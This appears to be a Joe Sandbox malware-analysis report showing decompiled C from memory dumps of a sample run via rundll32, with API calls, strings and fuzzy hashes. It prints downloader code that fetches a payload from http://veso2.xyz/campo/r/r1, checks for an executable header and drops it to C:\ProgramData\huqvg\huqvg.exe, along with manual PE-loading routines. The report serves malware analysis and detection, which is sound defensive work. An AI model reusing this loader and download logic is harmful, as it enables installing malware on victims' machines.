Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 524930e88772bca516f55fe9e8622fc53fafd7190fcb2e9cc98900534de40662
Instruction ID: de7cb11d777dd453fb26621f2c0dad7f7d74016afb0a7fba33915e5df6c014b4
Opcode Fuzzy Hash: 524930e88772bca516f55fe9e8622fc53fafd7190fcb2e9cc98900534de40662
Instruction Fuzzy Hash: BFE1EE74A1020AEFDF08DFA4C994AAEBBB1FF48314F108558E525AB385D730AE85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 011B1640, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 212
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 011B173A
WSAStartup.WS2_32(00000102,?), ref: 011B174F
socket.WS2_32(00000002,00000001,00000006), ref: 011B1766
gethostbyname.WS2_32(?), ref: 011B1779
htons.WS2_32(?), ref: 011B178D
connect.WS2_32(?,?,00000010), ref: 011B17D2
send.WS2_32(?,?,?,00000000), ref: 011B1854
recv.WS2_32(?,?,00000BB8,00000000), ref: 011B18C1

Strings

ping, xrefs: 011B1657
POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s, xrefs: 011B172E

Memory Dump Source

Source File: 0000000A.00000002.703509486.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000A.00000002.703497080.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_11b0000_rundll32.jbxd

Similarity

API ID: Startupconnectgethostbynamehtonsrecvsendsocketwsprintf
String ID: POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s$ping
API String ID: 1466141387-1232505173
Opcode ID: f6978137ba71fcb6e0da756795d20d2b10f24d0e6a1d592e9d42bb51408db726
Instruction ID: b02902954f8f0a7703db2175f940490ff7f40911fcc298cdf02437931d0d9165
Opcode Fuzzy Hash: f6978137ba71fcb6e0da756795d20d2b10f24d0e6a1d592e9d42bb51408db726
Instruction Fuzzy Hash: 79B10374D082A89FDB28CF64DD94BD9B7B5AF48300F0085D9E68DA7285D7B06AC8CF51

Uniqueness

Uniqueness Score: -1.00%

Function 011821A0, Relevance: 6.2, APIs: 4, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 011821F9
SetLastError.KERNEL32(0000007E), ref: 0118223B

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 3d9eb0e4d81e695243eb890cee7e7cf0c121773a10a378cb9c59f46761b20239
Instruction ID: cc5976c75837d3f6cdea84f5ce0ddfe4a88b23af19b9841eb8a16dd7ade0563f
Opcode Fuzzy Hash: 3d9eb0e4d81e695243eb890cee7e7cf0c121773a10a378cb9c59f46761b20239
Instruction Fuzzy Hash: 3F81AA74A04209EFDB09DF98C894AADBBB1FF48314F24C158E919AB355D734EA81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011918C0, Relevance: 5.2, APIs: 4, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E011918C0(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				signed int* _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t117;
				intOrPtr _t135;
				intOrPtr _t140;
				void* _t206;
				void* _t207;

				_v44 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v16 =  *_t3;
				_v28 = 1;
				_v32 =  *_a4 + 0xbadc25;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v16 +  *_v32;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t21 = _a4 + 0x28; // 0x0
						_t26 = _a4 + 0x1c; // 0x0, executed
						_t114 =  *((intOrPtr*)( *_t26))(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *_t21); // executed
						_t207 = _t206 + 8;
						_v24 = _t114;
						if(_v24 != 0) {
							_t31 = _a4 + 0xc; // 0xffff
							_t35 = _a4 + 8; // 0x4
							_t117 = E01191170( *_t35, 4 +  *_t31 * 4); // executed
							_t206 = _t207 + 8;
							_v36 = _t117;
							if(_v36 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v36;
								_t48 = _a4 + 0xc; // 0xffff
								_t50 = _a4 + 8; // 0x4
								 *((intOrPtr*)( *_t50 +  *_t48 * 4)) = _v24;
								_t55 = _a4 + 0xc; // 0xffff
								 *(_a4 + 0xc) =  *_t55 + 1;
								if( *_v8 == 0) {
									_v12 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v12 = _v16 +  *_v8;
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v12 != 0) {
									if(( *_v12 & 0x80000000) == 0) {
										_v40 = _v16 +  *_v12;
										_t91 = _a4 + 0x28; // 0x0
										_t95 = _a4 + 0x20; // 0x0
										_t135 =  *((intOrPtr*)( *_t95))(_v24, _v40 + 2,  *_t91);
										_t206 = _t206 + 0xc;
										 *_v20 = _t135;
									} else {
										_t81 = _a4 + 0x28; // 0x0
										_t85 = _a4 + 0x20; // 0x0
										_t140 =  *((intOrPtr*)( *_t85))(_v24,  *_v12 & 0x0000ffff,  *_t81);
										_t206 = _t206 + 0xc;
										 *_v20 = _t140;
									}
									if( *_v20 != 0) {
										_v12 =  &(_v12[1]);
										_v20 = _v20 + 4;
										continue;
									} else {
										_v28 = 0;
										break;
									}
								}
								if(_v28 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								_t101 = _a4 + 0x28; // 0x0
								_t104 = _a4 + 0x24; // 0x0
								 *((intOrPtr*)( *_t104))(_v24,  *_t101);
								SetLastError(0x7f);
								break;
							}
							_t39 = _a4 + 0x28; // 0x0
							_t42 = _a4 + 0x24; // 0x0
							 *((intOrPtr*)( *_t42))(_v24,  *_t39);
							SetLastError(0xe);
							_v28 = 0;
							break;
						}
						SetLastError(0x7e);
						_v28 = 0;
						break;
					}
					return _v28;
				}
				return 1;
			}

0x011918c6
0x011918cc
0x011918cf
0x011918d2
0x011918ea
0x011918f4
0x01191908
0x01191916
0x0119193a
0x0119194b
0x0119194e
0x01191950
0x01191953
0x0119195a
0x01191973
0x01191981
0x01191985
0x0119198a
0x0119198d
0x01191994
0x011919c6
0x011919cc
0x011919d2
0x011919d8
0x011919de
0x011919e7
0x011919f0
0x01191a14
0x01191a20
0x011919f2
0x011919fa
0x01191a06
0x01191a06
0x01191a37
0x01191a4a
0x01191a7d
0x01191a83
0x01191a95
0x01191a98
0x01191a9a
0x01191aa0
0x01191a4c
0x01191a4f
0x01191a66
0x01191a69
0x01191a6b
0x01191a71
0x01191a71
0x01191aa8
0x01191a2b
0x01191a34
0x00000000
0x01191aaa
0x01191aaa
0x00000000
0x01191aaa
0x01191aa8
0x01191abc
0x01191913
0x00000000
0x01191913
0x01191ac1
0x01191acc
0x01191acf
0x01191ad6
0x00000000
0x01191ad6
0x01191999
0x011919a4
0x011919a7
0x011919ae
0x011919b4
0x00000000
0x011919b4
0x0119195e
0x01191964
0x00000000
0x01191964
0x00000000
0x01191ae3
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 0119191C
SetLastError.KERNEL32(0000007E), ref: 0119195E

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 3a3e4703c0d9aa02f2546af26afa45898850dd98e0b19a27ca1735b162736dce
Instruction ID: 44b99df1bf7e286b473ec26535e2231c30da42c8fba062804f9137289d70601e
Opcode Fuzzy Hash: 3a3e4703c0d9aa02f2546af26afa45898850dd98e0b19a27ca1735b162736dce
Instruction Fuzzy Hash: F3819974A00209EFDB08CF98C584AAEBBB1FF48364F148158E959AB355D774AE81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 011B10B0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E011B10B0(void* __eflags) {
				signed int _v8;
				void _v36;
				void _v68;
				signed char* _v72;
				signed char* _v76;
				char _v80;
				char _v84;
				signed char* _t28;
				signed char* _t30;
				void* _t34;
				signed char* _t46;
				signed int _t71;
				void* _t72;
				void* _t75;
				void* _t76;
				void* _t80;

				_t80 = __eflags;
				_v8 =  *0x11b3004 ^ _t71;
				memcpy( &_v36, "http://veso2.xyz/campo/r/r1", 7 << 2);
				memcpy( &_v68, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				_t28 = E011B1640(_t80,  &_v36,  &_v84, 1); // executed
				_t75 = _t72 + 0x24;
				_v72 = _t28;
				_t46 = _v72;
				_t81 = ( *_t46 & 0x000000ff) - 0x68;
				if(( *_t46 & 0x000000ff) != 0x68) {
					 *0x11b3008(_v72);
					 *0x11b3020(1);
					_t75 = _t75 + 8;
				}
				_t30 = E011B1640(_t81, _v72,  &_v80, 1);
				_t76 = _t75 + 0xc;
				_v76 = _t30;
				if(( *_v76 & 0x000000ff) == 0x4d) {
					E011B1350(_v76, _v80,  &_v68);
					_t76 = _t76 + 0xc;
					Sleep(0x3a98);
					E011B12B0();
				}
				 *0x11b3008(_v76);
				_t34 =  *0x11b3008(_v72);
				E011B1A04();
				return _t34;
			}

0x011b10b0
0x011b10bd
0x011b10cf
0x011b10de
0x011b10e0
0x011b10e2
0x011b10ed
0x011b10f2
0x011b10f5
0x011b1100
0x011b1107
0x011b110a
0x011b1110
0x011b111b
0x011b1121
0x011b1121
0x011b112e
0x011b1133
0x011b1136
0x011b114b
0x011b1159
0x011b115e
0x011b1166
0x011b116c
0x011b116c
0x011b1175
0x011b1182
0x011b1192
0x011b119a

APIs

Part of subcall function 011B1640: wsprintfA.USER32 ref: 011B173A
Part of subcall function 011B1640: WSAStartup.WS2_32(00000102,?), ref: 011B174F

Sleep.KERNEL32(00003A98), ref: 011B1166

Strings

http://veso2.xyz/campo/r/r1, xrefs: 011B10C7
C:\ProgramData\huqvg\huqvg.exe, xrefs: 011B10D6

Memory Dump Source

Source File: 0000000A.00000002.703509486.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000A.00000002.703497080.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_11b0000_rundll32.jbxd

Similarity

API ID: SleepStartupwsprintf
String ID: C:\ProgramData\huqvg\huqvg.exe$http://veso2.xyz/campo/r/r1
API String ID: 1691369139-3004619249
Opcode ID: e7d2cb97b0cb01da27fa2c8a99e5a13aaf8a024fa461621dfa001970e00185b0
Instruction ID: 2644057d594e1b96c62770c71c6d60c044a97d76384809efa50eea62534cc6c6
Opcode Fuzzy Hash: e7d2cb97b0cb01da27fa2c8a99e5a13aaf8a024fa461621dfa001970e00185b0
Instruction Fuzzy Hash: 6D21C7B1E00108ABDB18DBA8E895ADFBB79FF48304F144038E515AB240D775B955C791

Uniqueness

Uniqueness Score: -1.00%

Function 011B1040, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011B1040() {
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t12;
				char _t13;
				int _t15;
				void* _t16;
				char _t17;
				intOrPtr _t18;
				char _t21;
				char _t22;
				signed int _t23;

				_v8 =  *0x11b3004 ^ _t23;
				_t12 = "C:\\ProgramData\\huqvg"; // 0x505c3a43
				_v32 = _t12;
				_t17 = "rogramData\\huqvg"; // 0x72676f72
				_v28 = _t17;
				_t21 = "amData\\huqvg"; // 0x61446d61
				_v24 = _t21;
				_t13 = "ta\\huqvg"; // 0x685c6174
				_v20 = _t13;
				_t18 =  *0x11b2110; // 0x67767175
				_v16 = _t18;
				_t22 =  *0x11b2114; // 0x0
				_v12 = _t22;
				_t15 = CreateDirectoryA( &_v32, 0); // executed
				if(_t15 == 0) {
					_t16 = 0;
				} else {
					_t16 = 1;
				}
				E011B1A04();
				return _t16;
			}

0x011b104d
0x011b1050
0x011b1055
0x011b1058
0x011b105e
0x011b1061
0x011b1067
0x011b106a
0x011b106f
0x011b1072
0x011b1078
0x011b107b
0x011b1081
0x011b108a
0x011b1092
0x011b1098
0x011b1094
0x011b1094
0x011b1094
0x011b109f
0x011b10a7

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,011B12A3), ref: 011B108A

Strings

C:\ProgramData\huqvg, xrefs: 011B1050

Memory Dump Source

Source File: 0000000A.00000002.703509486.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000A.00000002.703497080.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_11b0000_rundll32.jbxd

Similarity

API ID: CreateDirectory
String ID: C:\ProgramData\huqvg
API String ID: 4241100979-3793086718
Opcode ID: 7fc04c9c890db92ebd4aa4568dc63b7bcfd8a7f16f5c79869a81c90a0ab14fcc
Instruction ID: 0adb0d2b3c5bd1a3d4ded13d56f2461ccd8c99b20bcdab5b3ea3f398c1d71526
Opcode Fuzzy Hash: 7fc04c9c890db92ebd4aa4568dc63b7bcfd8a7f16f5c79869a81c90a0ab14fcc
Instruction Fuzzy Hash: 8A013C78E042499FCB1CCFA9E1D16AEBBF8FB1D200B10406ADA25A3344D7346A48CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01191460, Relevance: 3.1, APIs: 2, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01191460(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				long _v40;
				int _t74;

				_v36 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						if((_a8[3] & 0x20000000) == 0) {
							_v12 = 0;
						} else {
							_v12 = 1;
						}
						_v24 = _v12;
						if((_a8[3] & 0x40000000) == 0) {
							_v16 = 0;
						} else {
							_v16 = 1;
						}
						_v28 = _v16;
						if((_a8[3] & 0x80000000) == 0) {
							_v20 = 0;
						} else {
							_v20 = 1;
						}
						_v32 = _v20;
						_t48 = _v28 * 8; // 0x2327118
						_v8 =  *((intOrPtr*)((_v24 << 4) + _t48 + 0x1195a00 + _v32 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v8 = _v8 | 0x00000200;
						}
						_t74 = VirtualProtect( *_a8, _a8[2], _v8,  &_v40); // executed
						if(_t74 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 != _a8[1]) {
						L8:
						return 1;
					}
					if(_a8[4] != 0) {
						L7:
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
						goto L8;
					}
					_t14 = _a4 + 0x30; // 0x0
					if( *((intOrPtr*)( *_a4 + 0x38)) ==  *_t14 || _a8[2] %  *(_a4 + 0x30) == 0) {
						goto L7;
					} else {
						goto L8;
					}
				}
				return 1;
			}

0x01191466
0x01191470
0x01191488
0x011914f0
0x011914fb
0x011914f2
0x011914f2
0x011914f2
0x01191505
0x01191514
0x0119151f
0x01191516
0x01191516
0x01191516
0x01191529
0x01191538
0x01191543
0x0119153a
0x0119153a
0x0119153a
0x0119154d
0x01191559
0x01191566
0x01191574
0x0119157f
0x0119157f
0x01191597
0x0119159f
0x00000000
0x011915a1
0x00000000
0x011915a1
0x0119159f
0x01191495
0x011914da
0x00000000
0x011914da
0x0119149e
0x011914c2
0x011914d4
0x00000000
0x011914d4
0x011914ab
0x011914ae
0x00000000
0x00000000
0x00000000
0x00000000
0x011914ae
0x00000000

APIs

VirtualFree.KERNELBASE(?,00000000,00004000,?,?,?,?,01191718,01194000,?,01194000,00000000), ref: 011914D4

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 736f4e453990f8e213fa082cfd2cef6702f7b5cc1538a6ba9821d7d505220231
Instruction ID: 1bc97bbdbe5e4f1098041498a9df200a9fcb84808db464ec4b0e25de21cc698f
Opcode Fuzzy Hash: 736f4e453990f8e213fa082cfd2cef6702f7b5cc1538a6ba9821d7d505220231
Instruction Fuzzy Hash: 3541CB75A00209EFEB19CF48C494BA9B7B2FF88324F15C159E92A5F355C775EA81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011912A0, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011912A0(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0xf5e9
				_v16 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x508bf84d
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x1191e76
				_v8 =  *_a16 + _t9;
				_v20 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000000
					if(_v20 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v8 + 0x10) != 0) {
						if(E01191270(_v28, _a8,  *((intOrPtr*)(_v8 + 0x14)) +  *(_v8 + 0x10)) != 0) {
							_t76 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *(_v8 + 0x10), 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
								E011910D0(_v12, _a4 +  *((intOrPtr*)(_v8 + 0x14)),  *(_v8 + 0x10));
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v8 + 8)) = _v12;
								L1:
								_v20 = _v20 + 1;
								_v8 = _v8 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v24 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v24 <= 0) {
						L8:
						goto L1;
					}
					_v12 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)), _v24, 0x1000, 4);
					if(_v12 != 0) {
						_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
						 *((intOrPtr*)(_v8 + 8)) = _v12;
						E01191080(_v12, 0, _v24);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

0x011912a6
0x011912ac
0x011912af
0x011912bc
0x011912c0
0x011912c4
0x011912c7
0x011912e2
0x011912e7
0x011912ee
0x00000000
0x00000000
0x011912fb
0x0119137e
0x0119139c
0x011913a2
0x011913a9
0x011913b8
0x011913d0
0x011913d5
0x011913de
0x011912d0
0x011912d6
0x011912df
0x00000000
0x011912df
0x00000000
0x011913ab
0x00000000
0x01191380
0x01191303
0x0119130a
0x0119135e
0x00000000
0x0119135e
0x01191327
0x0119132e
0x01191340
0x01191349
0x01191356
0x0119135b
0x00000000
0x0119135b
0x00000000
0x01191330
0x00000000

APIs

VirtualAlloc.KERNEL32(?,00000000,00001000,00000004), ref: 01191321
VirtualAlloc.KERNELBASE(?,?,00001000,00000004,00000000,?,?,01191E5E), ref: 0119139C

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cc0f37f7cd9fca80dcdc6e20672d933aabd4cfde5e50e9a2d97e381d2398f6f2
Instruction ID: fc17d52716a5ab1e7e837d6babf72a5493e6edf11659a6d31aeee3fee0a8024b
Opcode Fuzzy Hash: cc0f37f7cd9fca80dcdc6e20672d933aabd4cfde5e50e9a2d97e381d2398f6f2
Instruction Fuzzy Hash: 1551DA74E0420AEFCB08CF98C580AAEB7B1FF48314F248598E915AB345D371EE91DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0119190D, Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0119190D() {
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr _t118;
				intOrPtr _t123;
				void* _t179;
				void* _t181;
				void* _t183;
				void* _t184;

				L0:
				while(1) {
					L0:
					 *(_t179 - 4) =  *(_t179 - 4) + 0x14;
					if(IsBadReadPtr( *(_t179 - 4), 0x14) != 0 ||  *((intOrPtr*)( *(_t179 - 4) + 0xc)) == 0) {
						break;
					}
					L3:
					_t7 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
					_t12 =  *((intOrPtr*)(_t179 + 8)) + 0x1c; // 0x0, executed
					_t99 =  *((intOrPtr*)( *_t12))( *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0xc)),  *_t7); // executed
					_t183 = _t181 + 8;
					 *((intOrPtr*)(_t179 - 0x14)) = _t99;
					if( *((intOrPtr*)(_t179 - 0x14)) != 0) {
						L5:
						_t17 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
						_t21 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
						_t102 = E01191170( *_t21, 4 +  *_t17 * 4); // executed
						_t184 = _t183 + 8;
						 *((intOrPtr*)(_t179 - 0x20)) = _t102;
						if( *((intOrPtr*)(_t179 - 0x20)) != 0) {
							L7:
							 *((intOrPtr*)( *((intOrPtr*)(_t179 + 8)) + 8)) =  *((intOrPtr*)(_t179 - 0x20));
							_t34 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							_t36 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
							 *((intOrPtr*)( *_t36 +  *_t34 * 4)) =  *((intOrPtr*)(_t179 - 0x14));
							_t41 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							 *( *((intOrPtr*)(_t179 + 8)) + 0xc) =  *_t41 + 1;
							if( *( *(_t179 - 4)) == 0) {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							} else {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 4));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							}
							L12:
							while( *( *(_t179 - 8)) != 0) {
								if(( *( *(_t179 - 8)) & 0x80000000) == 0) {
									 *((intOrPtr*)(_t179 - 0x24)) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 8));
									_t77 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t81 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t118 =  *((intOrPtr*)( *_t81))( *((intOrPtr*)(_t179 - 0x14)),  *((intOrPtr*)(_t179 - 0x24)) + 2,  *_t77);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t118;
								} else {
									_t67 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t71 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t123 =  *((intOrPtr*)( *_t71))( *((intOrPtr*)(_t179 - 0x14)),  *( *(_t179 - 8)) & 0x0000ffff,  *_t67);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t123;
								}
								L16:
								if( *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) != 0) {
									L18:
									L11:
									 *(_t179 - 8) =  &(( *(_t179 - 8))[1]);
									 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0x10)) + 4;
									continue;
								} else {
									L17:
									 *((intOrPtr*)(_t179 - 0x18)) = 0;
								}
								break;
							}
							L19:
							if( *((intOrPtr*)(_t179 - 0x18)) != 0) {
								L21:
								continue;
							} else {
								L20:
								_t87 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
								_t90 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
								 *((intOrPtr*)( *_t90))( *((intOrPtr*)(_t179 - 0x14)),  *_t87);
								SetLastError(0x7f);
							}
						} else {
							L6:
							_t25 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
							_t28 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
							 *((intOrPtr*)( *_t28))( *((intOrPtr*)(_t179 - 0x14)),  *_t25);
							SetLastError(0xe);
							 *((intOrPtr*)(_t179 - 0x18)) = 0;
						}
					} else {
						L4:
						SetLastError(0x7e);
						 *((intOrPtr*)(_t179 - 0x18)) = 0;
					}
					break;
				}
				L22:
				_t95 =  *((intOrPtr*)(_t179 - 0x18));
				return _t95;
			}

0x0119190d
0x0119190d
0x0119190d
0x01191913
0x01191924
0x00000000
0x00000000
0x01191937
0x0119193a
0x0119194b
0x0119194e
0x01191950
0x01191953
0x0119195a
0x01191970
0x01191973
0x01191981
0x01191985
0x0119198a
0x0119198d
0x01191994
0x011919c0
0x011919c6
0x011919cc
0x011919d2
0x011919d8
0x011919de
0x011919e7
0x011919f0
0x01191a14
0x01191a20
0x011919f2
0x011919fa
0x01191a06
0x01191a06
0x00000000
0x01191a37
0x01191a4a
0x01191a7d
0x01191a83
0x01191a95
0x01191a98
0x01191a9a
0x01191aa0
0x01191a4c
0x01191a4f
0x01191a66
0x01191a69
0x01191a6b
0x01191a71
0x01191a71
0x01191aa2
0x01191aa8
0x01191ab3
0x01191a25
0x01191a2b
0x01191a34
0x00000000
0x01191aaa
0x01191aaa
0x01191aaa
0x01191aaa
0x00000000
0x01191aa8
0x01191ab8
0x01191abc
0x01191ade
0x00000000
0x01191abe
0x01191abe
0x01191ac1
0x01191acc
0x01191acf
0x01191ad6
0x01191ad6
0x01191996
0x01191996
0x01191999
0x011919a4
0x011919a7
0x011919ae
0x011919b4
0x011919b4
0x0119195c
0x0119195c
0x0119195e
0x01191964
0x01191964
0x00000000
0x0119195a
0x01191ae3
0x01191ae3
0x01191ae9

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 0119191C
SetLastError.KERNEL32(0000007E), ref: 0119195E
SetLastError.KERNEL32(0000000E), ref: 011919AE

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: ErrorLast$Read
String ID:
API String ID: 1935436914-0
Opcode ID: cf5b33e84e0a81aa6e6959ae18ac4b5670eb398fe7318fd0ef9f8f15333516b1
